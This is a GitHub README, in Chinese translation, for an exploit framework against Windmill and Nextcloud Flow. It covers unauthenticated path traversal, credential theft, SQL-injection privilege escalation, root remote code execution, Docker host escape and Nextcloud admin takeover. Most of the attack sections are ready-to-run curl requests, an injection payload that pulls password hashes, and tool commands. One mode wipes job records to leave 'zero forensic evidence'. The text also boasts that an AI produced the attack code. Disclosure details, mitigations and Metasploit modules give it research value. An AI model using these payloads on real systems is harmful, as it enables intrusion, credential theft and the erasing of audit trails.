Chocapikk/Windfall

GitHub: Chocapikk/Windfall

这是一个针对 Windmill 和 Nextcloud Flow 的未认证远程代码执行漏洞利用框架,集成了路径遍历、凭证窃取和提权功能。

Stars: 12 | Forks: 2

Windfall

mic drop

Windmill 路径遍历 → 凭证泄露 → 远程代码执行

Windfall (n.): 意外、非劳得或突然的收益或优势,这正是攻击者从该漏洞中获取的东西。

| 属性 | 值 | |-------------------------------|--------------------------------------------------------------| | **名称** | Windfall | | **CVE (路径遍历)** | CVE-2026-29059 (Windmill & Nextcloud Flow) | | **CVE (SQLi)** | CVE-2026-23696 (Windmill & Nextcloud Flow) | | **CVE (操作员绕过)** | CVE-2026-22683 (Windmill & Nextcloud Flow) | | **受影响 (路径遍历)** | Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2 | | **受影响 (SQLi)** | Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2 | | **已修复** | Windmill v1.603.3, Nextcloud Flow v1.3.0 | | **披露时间** | 2026-01-10 | | **发现者** | Chocapikk |
### CVSS 4.0 评分
| 漏洞 | 上下文 | 评分 | 向量 | |-----------------|----------------------------|--------------|-------------------------------------------------------------------------------------------------------------------------------------------| | 路径遍历 | Windmill + Docker socket | **10.0** 💀 | [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) | | 路径遍历 | Windmill (无 docker) | **10.0** 💀 | [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) | | 路径遍历 | Nextcloud Flow (代理) | **10.0** 💀 | [AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) | | SQLi → 提权 | Windmill + Docker socket | **9.4** | [AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) | | SQLi → 提权 | Nextcloud Flow | **9.4** | [AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H) |
**关键因素:** - **Windmill 独立版**: 未认证 (PR:N), Docker socket 通常已挂载 → 逃逸至主机 (SC/SI/SA:H) - **Nextcloud Flow (代理模式)**: **同样未认证!** 易受攻击的 `jobs_u` 端点在 Flow 的路由表中为 `access_level=0` (PUBLIC) - **SQLi**: 需要 Windmill 账户 (PR:L), 但任何操作员均可提升至 super_admin → RCE ## 摘要 Windmill 中的两个关键漏洞: 1. **未认证路径遍历**: 读取任意文件,泄露凭证,实现 RCE 2. **已认证 SQL 注入**: 从 Windmill 的 PostgreSQL 数据库中窃取任意数据 ## 关于此漏洞利用 **这原本不该发展得如此严重。** 最初只是一个简单的 PoC,但很快演变成了一个完整的漏洞利用框架。我有机会突破界限,看看在技术复杂性方面究竟能走多远。 **构建方式:** 此漏洞利用是通过与 AI 辅助的协作工作流开发的。我提供提示和架构指导,而 AI 生成实际代码。这使我能够专注于“什么”和“为什么”(攻击链、OPSEC 要求、边缘情况),而 AI 处理“如何”(实现细节、协议规范、错误处理)。 结果是一个生产级框架,具有: - 部署类型的**自动检测**(Standalone / Flow Direct / Flow Proxy) - **多种凭证泄露方法**,具有自动回退机制 - **原始 PostgreSQL 协议**实现(从头开始的 SCRAM-SHA-256) - 使用 `WM_JOB_ID` 的**自清理销毁**(零取证证据) - 用于扩展性的**模块化架构** - 当端点被阻止时的**盲模式**支持 这展示了当你有机会突破技术极限时的可能性。该漏洞利用在所有场景中均可工作,优雅地处理边缘情况,并包含超越典型 PoC 的高级 OPSEC 技术。 **为何如此复杂?** 因为我可以。这是一个测试,看看当有机会正确构建某些东西而不是仅仅“使其工作”时,我们可以将漏洞利用工具推多远。这也是 AI 辅助开发的演示:通过正确的提示和架构愿景,AI 可以生成生产级质量的攻击工具。 ## 影响
| 向量 | Windmill 独立版 | Flow (直连) | Flow (代理) | |-------------------|------------------------------------|------------------------------|------------------------------| | 文件读取 | ✅ 未认证 | ✅ 未认证 | ✅ **未认证!** | | 凭证泄露 | ⚠️ `SUPERADMIN_SECRET` (可选) | ✅ JSON 配置 + PostgreSQL | ✅ JSON 配置 + PostgreSQL | | PostgreSQL 泄露 | ⚠️ 独立容器 (Docker) | ✅ 同一容器 | ✅ 同一容器 | | 容器 RCE | ✅ Root (若配置了 secret) | ✅ Root | ✅ Root | | 主机逃逸 | ✅ 通过 Docker socket | ❌ | ❌ |
## 攻击链 ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WINDFALL │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │ │ │ Path │ │ Credential │ │ Remote Code │ │ │ │ Traversal │───▶│ Leak │───▶│ Execution │ │ │ │ (Unauth) │ │ │ │ (Root) │ │ │ └─────────────┘ └──────────────────┘ └─────────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ /etc/passwd 3 Methods: Container RCE │ │ /proc/environ ├─ windmill_users_config.json (Flow) │ │ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │ │ └─ PostgreSQL files → jwt_secret → forge JWT │ │ │ ├─────────────────────────────────────────────────────────────────────────┤ │ PostgreSQL Data Leak (when DB in same container): │ │ │ │ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │ │ │ │ │ ▼ │ │ Forge JWT → RCE │ └─────────────────────────────────────────────────────────────────────────┘ ``` ## 漏洞利用
| 漏洞利用 | 描述 | 是否需要认证 | |------------------------------------------------|-----------------------------------|-----------------------------------------| | [windfall_afr.py](./windfall_afr.py) | 路径遍历 → Token 泄露 → RCE | ❌ 无 (所有部署均为未认证) | | [windfall_sqli.py](./windfall_sqli.py) | SQLi → JWT 伪造 → 提权 → RCE | 操作员账户 (+ 代理模式需 NC 凭证) | | [windfall_nc_pivot.py](./windfall_nc_pivot.py) | 路径遍历 → APP_SECRET → NC Admin | ❌ 无 (同样的路径遍历) |
### 凭证泄露方法 (windfall_afr.py) 路径遍历漏洞利用尝试多种方法来获取凭证:
| 优先级 | 方法 | 目标 | 适用于 | |----------|-----------------------------|-----------------------------------|------------------------------| | 1 | `windmill_users_config.json` | `/nc_app_flow_data/...` | Nextcloud Flow | | 2 | `SUPERADMIN_SECRET` | `/proc/1/environ` | 独立版 (若配置) | | 3 | PostgreSQL 文件 | `/proc → pg_data → jwt_secret` | 同一容器 |
两种漏洞利用都会自动检测部署类型并相应调整:
| 部署 | 路径遍历 | SQLi | |-------------------------|-----------------------------|-----------------------------------------------| | Windmill 独立版 | ✅ 未认证 | ✅ 操作员 → 超级管理员 | | Nextcloud Flow (直连) | ✅ 未认证 | ✅ 操作员 → 超级管理员 | | Nextcloud Flow (代理) | ✅ **未认证!** | ⚠️ 操作员 → 超级管理员 (必须提供 NC 凭证) |
### 测试结果 所有 6 种场景均已测试并确认: ``` ╔═══════════════════════════════════════════════════════════════════════════════════╗ ║ WINDFALL TEST RESULTS ║ ╠═══════════════════════════════════════════════════════════════════════════════════╣ ║ # │ Exploit │ Deployment │ Auth Required │ Result ║ ╠═══════════════════════════════════════════════════════════════════════════════════╣ ║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║ ║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║ ║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║ ║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║ ║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║ ║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║ ╠═══════════════════════════════════════════════════════════════════════════════════╣ ║ 6/6 TESTS PASSED ║ ║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║ ║ ║ ║ Key findings: ║ ║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║ ║ • Credential leak: windmill_users_config.json contains plaintext tokens ║ ║ • Detection: Works even when /api/version requires auth (fallback traversal) ║ ╚═══════════════════════════════════════════════════════════════════════════════════╝ ``` ## 快速开始 ### 路径遍历 (未认证 RCE) ``` # Windmill standalone (自动检测泄漏方式) python3 windfall_afr.py http://localhost:8000 -c "id" # Nextcloud Flow (直接访问 Windmill 容器) python3 windfall_afr.py http://:8000 -c "id" # Nextcloud Flow (通过代理 - 无需认证! jobs_u 是公开的) python3 windfall_afr.py https://nextcloud.example.com -c "id" # 交互式 shell python3 windfall_afr.py http://localhost:8000 # 读取任意文件 python3 windfall_afr.py http://localhost:8000 -r /etc/passwd # 仅泄漏凭证 (无 RCE) python3 windfall_afr.py http://localhost:8000 --leak-users # 强制 PostgreSQL 文件泄漏方式 (jwt_secret → 伪造 JWT) python3 windfall_afr.py http://:8000 --leak-postgres # 主机逃逸 (Docker socket) python3 windfall_afr.py http://localhost:8000 -H # 在主机上执行命令 python3 windfall_afr.py http://localhost:8000 --host-cmd "id" # 幽灵模式:从数据库中删除所有 job 追踪记录 (零取证证据) python3 windfall_afr.py http://localhost:8000 -c "id" --clean ``` ### SQLi 提权 (操作员 → 超级管理员 → RCE) ``` # Windmill standalone python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 -c "id" # Nextcloud Flow (直接) python3 windfall_sqli.py http://:8000 \ -u operator@windmill.dev -p password123 -c "id" # Nextcloud Flow (代理) - 需要 Nextcloud 凭证! # 若没有 NC 认证,像 /api/auth/login 和 /api/w/*/folders/* 这样的端点会被阻止 python3 windfall_sqli.py https://nextcloud.example.com \ --nc-user admin --nc-pass secret \ -u operator@windmill.dev -p password123 -c "id" # 交互式 shell python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 # 主机 shell python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 -H # 在主机上执行命令 python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 --host-cmd "id" # 仅 SQLi 查询 (无 RCE) python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 -q "SELECT version()" # 幽灵模式:从数据库中删除所有 job 追踪记录 (零取证证据) python3 windfall_sqli.py http://localhost:8000 \ -u operator@windmill.dev -p password123 -c "id" --clean ``` ## OPSEC: 幽灵模式 (`--clean`) 两种漏洞利用均支持 `--clean` 以实现操作安全。此选项: 1. 通过 Windmill API (`deleted=true`) **将任务标记为已删除** 2. 使用原始协议从 PostgreSQL 中**完全删除**所有痕迹: - 从 `v2_job` 表中删除 `raw_code` - 删除 `v2_job_completed` 表中的条目 - **自毁**: 清理任务使用 `WM_JOB_ID` 删除其自身 **结果:** 零取证证据。没有 `raw_code`,没有任务历史,数据库中无痕迹。 清理使用 Windmill 的 Python 执行环境从头实现原始 PostgreSQL 协议 (SCRAM-SHA-256) - 无需外部依赖。 ## 漏洞详情 ### 根本原因 ``` // backend/windmill-api/src/jobs.rs async fn get_log_file(Path((_w_id, file_p)): Path<(String, String)>) -> error::Result { let local_file = format!("{TMP_DIR}/logs/{file_p}"); // ← No sanitization! // ... } ``` ### 概念验证 **Windmill 独立版 (未认证):** ``` # 读取 /etc/passwd curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd" # 泄漏 SUPERADMIN_SECRET curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron" ``` **Nextcloud Flow (无需认证!):** ``` # 读取 /etc/passwd - 三重编码绕过代理链 # 注意:jobs_u 端点是公开的 (access_level=0) - 无需 Nextcloud 认证! # 无需凭证,完全未认证即可工作! curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd" # 泄漏用户令牌和密码 (同样未认证) curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json" ``` ### PostgreSQL 数据文件泄露 (高级) 当 PostgreSQL 在同一容器中运行 时,我们可以直接从数据库文件中提取 `jwt_secret`: ``` # 1. 通过 /proc 查找 PostgreSQL 数据路径 curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline" # 返回:postgres -D /nc_app_flow_data/pgsql # 2. 读取包含 jwt_secret 的 PostgreSQL 数据文件 curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149" # 二进制数据包含:jwt_secret + 32字符密钥 # 3. 使用泄漏的密钥伪造 JWT → RCE ``` 此技术之所以有效是因为: - `/proc/*/cmdline` 揭示了 PostgreSQL 的 `-D` 数据目录 - PostgreSQL 将表数据存储在 `base//` 下的二进制文件中 - `global_settings` 表以明文形式包含 `jwt_secret` - 有了 `jwt_secret` + 有效邮箱,我们可以伪造管理员 JWT ### Nextcloud Flow 代理绕过 Nextcloud Flow 将 Windmill 嵌入在 Python/FastAPI 代理之后。完整的代理链需要**三重编码**: ``` Request → Nextcloud (PHP) → FastAPI → httpx → Windmill ↓ ↓ URL decode URL decode ``` **绕过:** 使用带有 `safe=""` 的三重 URL 编码来强制对所有字符进行编码 (`%25252F`):
| 我们发送的内容 | 经过 Nextcloud (PHP) 后 | 经过 FastAPI 后 | httpx 发送 | Windmill 接收 | |--------------|-----------------------|---------------|-------------|---------------| | `../` | `../` | `../` | 已规范化 | ❌ 被阻止 | | `%2F` | `/` | `/` | 已规范化 | ❌ 被阻止 | | `%252F` | `%2F` | `/` | 已规范化 | ❌ 被阻止 | | `%25252F` | `%252F` | `%2F` | `%2F` | `/` ✅ |
三重编码(使用 `safe=""` 强制对所有字符进行编码,而非标准的三重编码)在 Nextcloud 的 PHP 解码和 FastAPI 的解码中幸存下来,为 httpx 留下 `%2F`(httpx 不会规范化的编码斜杠)。然后 Windmill 解码 `%2F` → `/`,遍历成功。 ## 通过 APP_SECRET 进行 Nextcloud 透视 使用相同的路径遍历从 Flow 的环境中泄露 `APP_SECRET`,然后在 Nextcloud 上创建管理员用户。 ``` # 泄漏 APP_SECRET 并列出用户 python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users # 创建管理员用户 python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin # 使用指定凭证创建管理员 python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!' # 验证登录 python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!' ``` **影响:** 完全接管 Nextcloud - 创建管理员,访问所有文件,管理员面板。 ## SQL 注入 (已认证) 第二个漏洞允许已认证用户通过 JSONB 路径注入从 Windmill 的数据库中窃取任意数据。 **注意:** `addowner` 端点需要文件夹所有权,但任何已认证用户都可以创建自己的文件夹(无需权限)并自动成为其所有者。这使得任何已认证用户(包括操作员)都可以利用该漏洞。 ### 漏洞代码 ``` // backend/windmill-api/src/folders.rs:698-699 sqlx::query(&format!( "UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms" )) ``` `owner` 参数在未经清理的情况下直接内插到 SQL 查询中。 ### 攻击流程 ``` ┌─────────────────────────────────────────────────────────────────┐ │ WINDMILL SQLi │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ POST /api/w/{workspace}/folders/addowner/{folder} │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ Create │ │ Inject SQL │ │ Read Result │ │ │ │ Folder │───▶│ via owner │───▶│ from perms │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ │ │ ▼ ▼ │ │ owner=x"}', (SELECT ...)-- extra_perms.x │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` ### Payload ``` { "owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--" } ``` 生成的 SQL: ``` UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...) ``` ### PoC ``` python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id" # 输出: # [+] 提升权限:→ super_admin=True # [+] PRIVESC 完成:Operator → Super Admin → RCE # uid=0(root) gid=0(root) groups=0(root) ``` ### 影响
| 能力 | 状态 | |--------------------|-------------------------| | 数据窃取 | ✅ 完全数据库访问 | | 密码哈希 | ✅ 已泄露 | | 用户令牌 | ✅ 已泄露 | | 通过 PostgreSQL RCE | ❌ 需要 superuser |
## 检测 **Shodan:** ``` http.favicon.hash:-309349605 http.favicon.hash:1153595003 http.html:"svelte-global-loader" http.html:"Windmill" ``` ## 缓解措施 1. 清理文件路径参数 2. 要求对get_log_file` 进行认证 3. 以非 root 用户运行容器 4. 启用 nsjail 沙箱 5. 移除 Docker socket 访问权限 ## Metasploit 集成 已提交完整的 Metasploit 框架集成,包含 [5 个 PR](https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+author%3AChocapikk+windfall+OR+windmill+OR+nextcloud+appapi): | PR | 模块/库 | 描述 | |---|---|---| | [#21242](https://github.com/rapid7/metasploit-framework/pull/21242) | `Rex::Proto::PostgreSQL` | 二进制 PostgreSQL 堆文件解析器 | | [#21244](https://github.com/rapid7/metasploit-framework/pull/21244) | `Msf::Exploit::Remote::HTTP::Windmill` | Windmill HTTP mixin | | [#21245](https://github.com/rapid7/metasploit-framework/pull/21245) | `windmill_path_traversal_rce` + `windmill_sqli_rce` + `windmill_file_read` + `windmill_sqli` | 未认证 RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + 辅助模块 | | [#21243](https://github.com/rapid7/metasploit-framework/pull/21243) | `Msf::Exploit::Remote::HTTP::Nextcloud::AppApi` | Nextcloud AppApi mixin | | [#21246](https://github.com/rapid7/metasploit-framework/pull/21246) | `auxiliary/admin/http/nextcloud_appapi_shell` | 交互式 Nextcloud shell | 合并顺序:#21242 优先,然后 #21244,最后 #21245。独立合并:#21243 然后 #21246。 *发现者 Chocapikk - 2026-01-10*
标签:0day, CISA项目, CVE-2026-22683, CVE-2026-23696, CVE-2026-29059, EXP, Nextcloud AppAPI, Nextcloud Flow, PostgreSQL, RCE, Web报告查看器, Windmill, 凭证泄露, 堆转储, 攻防链, 未授权访问, 权限绕过, 测试用例, 漏洞分析, 编程工具, 网络安全, 网络安全审计, 请求拦截, 路径探测, 路径穿越, 远程代码执行, 逆向工具, 隐私保护